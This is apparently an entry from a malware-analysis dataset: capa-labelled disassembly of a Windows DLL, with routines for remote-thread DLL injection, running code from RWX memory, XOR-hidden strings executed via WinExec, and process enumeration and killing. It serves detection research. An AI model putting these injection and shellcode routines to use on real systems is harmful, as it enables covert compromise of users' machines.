joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10016af0
Capabilities:
Create process on windows
Get process image filename
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x580
mov eax, dword [0x100571c4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x48]
push 0x40
push 0
push eax
call fcn.1002aef0
add esp, 0xc
lea eax, [ebp - 0x560]
push 0x208
push 0
push eax
call fcn.1002aef0
add esp, 0xc
lea eax, [ebp - 0x358]
push 0x208
push 0
push eax
call fcn.1002aef0
add esp, 0xc
push edi
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x10016cd6
push 0x104
lea eax, [ebp - 0x560]
push eax
push esi
call dword [sym.imp.PSAPI.DLL_GetProcessImageFileNameW]
test eax, eax
je 0x10016ccf
push ecx
lea edx, [ebp - 0x358]
lea ecx, [ebp - 0x560]
call fcn.1001c3b0
add esp, 4
test al, al
je 0x10016ccf
push 0x40
lea eax, [ebp - 0x48]
push 0
push eax
call fcn.1002aef0
add esp, 0xc
mov word [ebp - 0x57c], 0x5325
lea ecx, [ebp - 0x560]
mov byte [ebp - 0x57a], 0
call fcn.1001c5d0
push eax
lea eax, [ebp - 0x57c]
push eax
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x358]
push eax
call fcn.10014fd0
test al, al
jne 0x10016c52
push 0x7dbdbb8e
lea ecx, [ebp - 0x578]
call fcn.10016cf0
push edi
push eax
lea eax, [ebp - 0x150]
push eax
call fcn.10002700
add esp, 0xc
lea eax, [ebp - 0x150]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x104
lea eax, [ebp - 0x150]
push 0
push eax
call fcn.1002aef0
add esp, 0xc
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10027e1f
mov esp, ebp
pop ebp
ret 8
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x358]
push eax
call fcn.100150f0
test al, al
jne 0x10016c92
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
lea edx, [ebp - 0x48]
mov ecx, 2
call fcn.10003b60
add esp, 4
xor al, al
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10027e1f
mov esp, ebp
pop ebp
ret 8
push ecx
lea eax, [ebp - 0x358]
push eax
call fcn.10004a60
test al, al
jne 0x10016ccf
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
lea edx, [ebp - 0x48]
mov ecx, 5
call fcn.10003b60
add esp, 4
xor al, al
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10027e1f
mov esp, ebp
pop ebp
ret 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
xor ecx, ebp
pop esi
call fcn.10027e1f
mov esp, ebp
pop ebp
ret 8

Function at 0x10016cf0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xdd
xor eax, eax
mov dl, byte [edi + eax - 0x6db8ad5e]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x16
jb 0x10016d01
pop edi
mov byte [esi + 0x16], 0
mov eax, esi
pop esi
pop ebp
ret 4
Function at 0x10016e00
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10046580
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x100571c4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, dword [ebp + 8]
mov eax, 0xdd67c8a7
mov dword [ebp - 4], 0
or esi, 0xffffffff
mov ecx, dword [0x101a0260]
sub ecx, dword [0x101a025c]
imul ecx
mov eax, dword [edi + 8]
add edx, ecx
sar edx, 8
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
cmp ebx, eax
ja 0x10016e80
push str.invalid_vector_T__subscript
call fcn.10023518
mov eax, 0x10016e6c
ret
mov ecx, dword [0x101a025c]
imul edx, eax, 0x128
mov eax, dword [edx + ecx]
add edx, ecx
cmp eax, dword [edi + 0xc]
jne 0x10016ed1
lea ecx, [edi + 0x10]
lea eax, [edx + 0x24]
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10016ec0
test dl, dl
je 0x10016ebc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10016ec0
add eax, 2
add ecx, 2
test dl, dl
jne 0x10016ea0
xor eax, eax
jmp 0x10016ec5
sbb eax, eax
or eax, 1
mov ecx, dword [0x101a025c]
test eax, eax
cmove esi, dword [edi + 8]
mov dword [ebp - 4], 0xffffffff
cmp esi, 0xffffffff
je 0x10016f0e
cmp ebx, esi
ja 0x10016eeb
push str.invalid_vector_T__subscript
call fcn.10023518
imul eax, esi, 0x128
push dword [eax + ecx]
push 1
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x10016f0e
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10017870
Capabilities:
Parse pe header
Read file on windows
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x100571c4]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push edi
push 0
push 0
push 3
push 0
push 1
push connect
mov dword [ebp - 0x48], ecx
mov ecx, dword [ebp + 0x10]
push eax
mov dword [ebp - 0x44], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x100178c3
lea eax, [ebp - 0x38]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
test eax, eax
jne 0x100178d6
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10027e1f
mov esp, ebp
pop ebp
ret 0xc
push ebx
push 0
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ebx, eax
test ebx, ebx
jne 0x1001790b
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
xor al, al
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10027e1f
mov esp, ebp
pop ebp
ret 0xc
push esi
push dword [ebp - 0x14]
push 0
push 0
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
je 0x1001798b
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x10017984
mov eax, dword [esi + 0x3c]
add eax, esi
mov dword [ebp - 0x3c], eax
cmp dword [eax], 0x4550
jne 0x10017984
movzx ecx, word [eax + 4]
mov edx, 0x14c
cmp cx, dx
je 0x10017954
mov edx, 0x8664
cmp cx, dx
jne 0x10017984
push dword [eax + 0x28]
push dword [eax + 0x34]
push eax
call dword [sym.imp.dbghelp.dll_ImageRvaToSection]
mov ecx, eax
test ecx, ecx
je 0x10017984
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
mov ecx, dword [ebp - 0x3c]
push 0
push 0
add eax, dword [ecx + 0x28]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x100179ac
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call esi
push edi
call esi
pop esi
pop ebx
xor al, al
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10027e1f
mov esp, ebp
pop ebp
ret 0xc
push 0
lea eax, [ebp - 0x40]
mov dword [ebp - 0x40], 0
push eax
push 0x20
push dword [ebp - 0x44]
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
test eax, eax
je 0x10017985
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ecx + 0x28]
add eax, dword [ecx + 0x34]
mov ecx, dword [ebp - 0x48]
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call esi
push edi
call esi
mov ecx, dword [ebp - 4]
mov al, 1
pop esi
pop ebx
xor ecx, ebp
pop edi
call fcn.10027e1f
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10018020
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004660b
mov eax, dword fs:[0]
push eax
sub esp, 0xc30
mov eax, dword [0x100571c4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xc3c], 0
mov dword [ebp - 0xc38], 0
mov dword [ebp - 0xc34], 0
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0xc3c]
mov dword [ebp - 4], 0
call fcn.1001f3b0
mov word [ebp - 0xc30], 0xac2
mov byte [ebp - 0xc2e], 0xc
call fcn.1002df64
and eax, 0x800000ff
jns 0x100180a4
dec eax
or eax, 0xffffff00
inc eax
mov ebx, dword [ebp - 0xc38]
xor edi, edi
mov byte [ebp - 0xc2d], al
mov eax, dword [ebp - 0xc3c]
sub ebx, eax
sar ebx, 2
mov byte [ebp - 0xc2c], 0x21
mov dword [ebp - 0xc28], ebx
test ebx, ebx
je 0x1001818e
lea esi, [ebp - 0x724]
jmp 0x100180e6
mov eax, dword [ebp - 0xc3c]
cmp edi, 0x14
jge 0x1001818e
push 0x104
lea ecx, [ebp - 0x118]
push ecx
push dword [eax + edi*4]
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0x104
lea eax, [ebp - 0x220]
push eax
mov eax, dword [ebp - 0xc3c]
push dword [eax + edi*4]
call dword [sym.imp.USER32.dll_GetClassNameA]
movups xmm0, xmmword [ebp - 0x118]
inc edi
movups xmmword [esi - 0x500], xmm0
movups xmm0, xmmword [ebp - 0x108]
movups xmmword [esi - 0x4f0], xmm0
movups xmm0, xmmword [ebp - 0xf8]
movups xmmword [esi - 0x4e0], xmm0
movups xmm0, xmmword [ebp - 0xe8]
movups xmmword [esi - 0x4d0], xmm0
movups xmm0, xmmword [ebp - 0x220]
movups xmmword [esi], xmm0
movups xmm0, xmmword [ebp - 0x210]
movups xmmword [esi + 0x10], xmm0
movups xmm0, xmmword [ebp - 0x200]
movups xmmword [esi + 0x20], xmm0
movups xmm0, xmmword [ebp - 0x1f0]
movups xmmword [esi + 0x30], xmm0
add esi, 0x40
cmp edi, ebx
jb 0x100180e0
push 0xa0c
lea eax, [ebp - 0xc30]
push eax
call fcn.100020b0
mov ecx, dword [ebp - 0xc3c]
test ecx, ecx
je 0x100181bb
mov eax, dword [ebp - 0xc34]
sub eax, ecx
sar eax, 2
push eax
push ecx
call fcn.10018230
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10027e1f
mov esp, ebp
pop ebp
ret 4
Function at 0x100186e0
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1018
call fcn.10028f40
mov eax, dword [0x100571c4]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x1010]
mov dword [ebp - 0x1010], 0
push eax
push 0x1000
lea eax, [ebp - 0x100c]
push eax
call dword [sym.imp.PSAPI.DLL_EnumProcesses]
test eax, eax
jne 0x10018736
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.10027e1f
mov esp, ebp
pop ebp
ret 4
mov ebx, dword [ebp - 0x1010]
xor esi, esi
shr ebx, 2
test ebx, ebx
jle 0x100187a1
mov edi, dword [ebp + esi*4 - 0x100c]
test edi, edi
je 0x1001879c
push edi
lea eax, [ebp - 0x1018]
push eax
call fcn.10018a70
test al, al
jne 0x1001879c
mov dword [ebp - 0x1018], edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push edi
mov dword [ebp - 0x1014], eax
call fcn.10018af0
push ecx
push dword [ebp + esi*4 - 0x100c]
call fcn.100187c0
test al, al
je 0x10018721
push ecx
push dword [ebp + esi*4 - 0x100c]
call fcn.10016af0
test al, al
je 0x10018721
inc esi
cmp esi, ebx
jl 0x10018745
mov ecx, dword [ebp - 8]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10027e1f
mov esp, ebp
pop ebp
ret 4

Function at 0x10018870
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x110c
call fcn.10028f40
mov eax, dword [0x100571c4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x110c]
push eax
push 0x1000
lea eax, [ebp - 0x1108]
mov dword [ebp - 0x110c], 0
push eax
push ebx
call dword [sym.imp.PSAPI.DLL_EnumProcessModules]
test eax, eax
jne 0x100188c6
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10027e1f
mov esp, ebp
pop ebp
ret 8
push esi
push edi
mov edi, dword [ebp - 0x110c]
xor esi, esi
shr edi, 2
test edi, edi
jle 0x10018935
nop word [eax + eax]
push 0x104
lea eax, [ebp - 0x108]
push eax
push dword [ebp + esi*4 - 0x1108]
push ebx
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExA]
test eax, eax
je 0x10018930
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 0x108]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x10018927
test dl, dl
je 0x10018923
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x10018927
add ecx, 2
add eax, 2
test dl, dl
jne 0x10018907
xor eax, eax
jmp 0x1001892c
sbb eax, eax
or eax, 1
test eax, eax
je 0x1001894a
inc esi
cmp esi, edi
jl 0x100188e0
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10027e1f
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10027e1f
mov esp, ebp
pop ebp
ret 8
Function at 0x10018960
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
push 4
push 0x1000
push ebx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x100189a3
push 0
push ebx
push dword [ebp + 0xc]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x100189ac
push 0x8000
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
pop esi
xor al, al
pop ebx
pop ebp
ret 0xc
push 0x10050f6c
push 0x10050038
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10018995
push 0
push 0
push edi
push eax
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x10018995
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push ebx
push edi
push esi
test eax, eax
jne 0x1001899d
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
pop esi
mov al, 1
pop ebx
pop ebp
ret 0xc
Function at 0x10019820
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100466c8
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x100571c4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x1019de50]
cmp eax, 0x927c0
jb 0x10019863
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1019de50], eax
cmp dword [0x1019de3c], 0
je 0x100198e9
push 0
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x2c], 1
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x28], 0
push eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x1c]
push dword [0x1019de40]
push eax
call fcn.100195d0
test al, al
je 0x100198d8
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x18]
je 0x100198d8
lea eax, [ebp - 0x1c]
push eax
call fcn.10019900
push dword [ebp - 0x10]
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
lea ecx, [ebp - 0x1c]
call fcn.10019b40
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret

Function at 0x10019ce0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100466f8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x100571c4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x1019de50]
cmp eax, 0x927c0
jb 0x10019d23
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1019de50], eax
push 0
lea eax, [ebp - 0x30]
mov dword [ebp - 0x30], 1
push eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x2c], 0
push eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
push 0x14
lea eax, [ebp - 0x20]
mov dword [ebp - 4], 0
push eax
call fcn.100195d0
test al, al
jne 0x10019d82
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x1c]
jne 0x10019d8b
lea eax, [ebp - 0x20]
push eax
call fcn.10019e80
push dword [ebp - 0x14]
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
lea ecx, [ebp - 0x20]
call fcn.10019b40
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret 4
Function at 0x10019db0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100466c8
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x100571c4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x1019de50]
cmp eax, 0x927c0
jb 0x10019df3
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1019de50], eax
push 0
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x2c], 1
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x28], 0
push eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
push 0x14
lea eax, [ebp - 0x1c]
mov dword [ebp - 4], 0
push eax
call fcn.100195d0
test al, al
jne 0x10019e52
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x18]
jne 0x10019e5b
lea eax, [ebp - 0x1c]
push eax
call fcn.10019e80
push dword [ebp - 0x10]
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
lea ecx, [ebp - 0x1c]
call fcn.10019b40
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x10019e80
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x4058
call fcn.10028f40
mov eax, dword [0x100571c4]
xor eax, esp
mov dword [esp + 0x4054], eax
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
mov dword [esp + 0x14], edi
mov dword [esp + 0x18], 0
mov eax, dword [edi + 4]
sub eax, dword [edi]
je 0x1001a001
nop dword [eax]
mov ecx, dword [0x1019f9f8]
test ecx, ecx
jne 0x10019ed8
xorps xmm0, xmm0
mov word [esp + 0x2d], cx
mov byte [esp + 0x2f], cl
jmp 0x10019eec
mov ax, word [ecx + 8]
movq xmm0, qword [ecx]
mov word [esp + 0x2d], ax
mov al, byte [ecx + 0xa]
mov byte [esp + 0x2f], al
mov eax, dword [0x1019fb4c]
movq qword [esp + 0x25], xmm0
mov byte [esp + 0x20], 0xc2
mov ecx, dword [eax]
mov ax, word [ecx + 8]
movq xmm0, qword [ecx]
mov word [esp + 0x38], ax
mov al, byte [ecx + 0xa]
movq qword [esp + 0x30], xmm0
mov byte [esp + 0x3a], al
call fcn.1002df64
and eax, 0x800000ff
jns 0x10019f2b
dec eax
or eax, 0xffffff00
inc eax
mov ecx, dword [esp + 0x14]
xor edx, edx
mov edi, dword [edi + 4]
mov byte [esp + 0x23], al
mov eax, 0x28
mov dword [esp + 0x10], eax
mov ecx, dword [ecx]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x1c], ecx
mov ecx, edi
mov byte [esp + 0x24], 0x14
mov dword [esp + 0x3c], edx
sub ecx, dword [eax]
mov eax, dword [esp + 0x18]
mov dword [esp + 0x44], eax
inc eax
mov dword [esp + 0x40], ecx
mov ecx, dword [esp + 0x1c]
sub edi, ecx
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x10]
cmp esi, edi
jae 0x10019f8c
mov cl, byte [ecx + esi]
inc edx
mov byte [esp + eax + 0x58], cl
inc esi
mov ecx, dword [esp + 0x1c]
inc eax
cmp eax, 0x3ff6
jl 0x10019f73
mov ecx, eax
mov byte [esp + 0x22], al
shr ecx, 8
cmp dword [0x1019d880], 0
mov byte [esp + 0x21], cl
movups xmm0, xmmword [esp + 0x20]
mov dword [esp + 0x3c], edx
mov dword [esp + 0x10], eax
movups xmmword [esp + 0x58], xmm0
movups xmm0, xmmword [esp + 0x30]
movups xmmword [esp + 0x68], xmm0
movq xmm0, qword [esp + 0x40]
movq qword [esp + 0x78], xmm0
jle 0x10019fe5
nop word [eax + eax]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x1019d880], 0
jg 0x10019fd0
mov eax, dword [esp + 0x10]
push eax
lea eax, [esp + 0x5c]
push eax
call fcn.100020b0
mov edi, dword [esp + 0x14]
mov eax, dword [edi + 4]
sub eax, dword [edi]
cmp esi, eax
jb 0x10019ec0
mov ecx, dword [esp + 0x405c]
pop edi
pop esi
xor ecx, esp
call fcn.10027e1f
mov esp, ebp
pop ebp
ret 4

Function at 0x1001a090
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0x40
push 0x100
push 0x1019fe38
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp + 8]
push 0x100
add eax, 5
push eax
push 0x1019fe38
call fcn.1002a970
add esp, 0xc
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 0x100
push 0x1019fe38
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 0
push 0
push 0x1001a020
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esp, ebp
pop ebp
ret 4
Function at 0x1001a180
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xe4
mov eax, dword [0x100571c4]
xor eax, esp
mov dword [esp + 0xe0], eax
push esi
push 0x94
lea eax, [esp + 0x4c]
push 0
push eax
call fcn.1002aef0
add esp, 0xc
mov dword [esp + 0x48], 0x94
lea eax, [esp + 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [esp + 8]
mov dword [esp + 8], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov esi, dword [esp + 0x10]
mov ecx, esi
mov edx, dword [esp + 0x14]
mov eax, edx
shrd ecx, eax, 0x14
shr eax, 0x14
sub esi, dword [esp + 0x18]
push ecx
sbb edx, dword [esp + 0x20]
mov ecx, 0x1009d670
shrd esi, edx, 0x14
push esi
push dword [esp + 0x5c]
shr edx, 0x14
push dword [esp + 0x5c]
push dword [esp + 0x5c]
push str.PREMIUM
call fcn.1001c970
push eax
push 0
push 0x1019dc18
call fcn.100153a0
mov ecx, dword [esp + 0x108]
add esp, 0x24
pop esi
xor ecx, esp
call fcn.10027e1f
mov esp, ebp
pop ebp
ret
Function at 0x1001acf0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x8c
mov eax, dword [0x100571c4]
xor eax, esp
mov dword [esp + 0x88], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, ecx
mov dword [esp + 8], eax
push esi
push edi
cmp dword [ebx + 0x18], 0
je 0x1001ae63
lea ecx, [esp + 0x50]
push ecx
push eax
call dword [sym.imp.USER32.dll_BeginPaint]
mov esi, eax
lea eax, [esp + 0x40]
push eax
push dword [ebx + 4]
mov dword [esp + 0x14], esi
call dword [sym.imp.USER32.dll_GetClientRect]
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push dword [ebx + 0x18]
mov edi, eax
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push edi
push dword [ebx + 0x14]
mov esi, eax
push dword [ebx + 0x10]
push 0
push 0
push dword [esp + 0x2c]
call dword [sym.imp.GDI32.dll_BitBlt]
push esi
mov esi, dword [sym.imp.GDI32.dll_SelectObject]
push edi
call esi
push edi
call dword [sym.imp.GDI32.dll_DeleteDC]
cmp byte [ebx + 0x20], 1
jne 0x1001ae54
push str.Segoe_UI
push 2
push 5
push 0
push 8
push 1
push 0
push 0
push 0
push 0x12c
push 0
push 0
push 0
push 0xe
call dword [sym.imp.GDI32.dll_CreateFontA]
mov edi, dword [esp + 0xc]
push eax
push edi
call esi
push 1
push edi
call dword [sym.imp.GDI32.dll_SetBkMode]
push dword [ebx + 0x120]
push edi
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esi, [ebx + 0x21]
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001ade0
mov eax, dword [ebx + 0x14]
sub ecx, edx
push ecx
push esi
sub eax, 0x25
push eax
push 0x12
push edi
call dword [sym.imp.GDI32.dll_TextOutA]
mov edx, 0x3e
xor ecx, ecx
mov al, byte [ecx + str.P03__1fuxyk]
xor al, dl
mov byte [esp + ecx + 0x14], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x29
jb 0x1001ae02
lea eax, [esp + 0x14]
mov byte [esp + 0x3d], 0
push eax
push esi
call fcn.10002700
mov ecx, esi
add esp, 8
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001ae32
mov eax, dword [ebx + 0x14]
sub ecx, edx
push ecx
push esi
sub eax, 0xf
push eax
mov eax, dword [ebx + 0x10]
sub eax, 0xdc
push eax
push edi
call dword [sym.imp.GDI32.dll_TextOutA]
lea eax, [esp + 0x50]
push eax
push dword [esp + 0x14]
call dword [sym.imp.USER32.dll_EndPaint]
mov ecx, dword [esp + 0x94]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10027e1f
mov esp, ebp
pop ebp
ret 4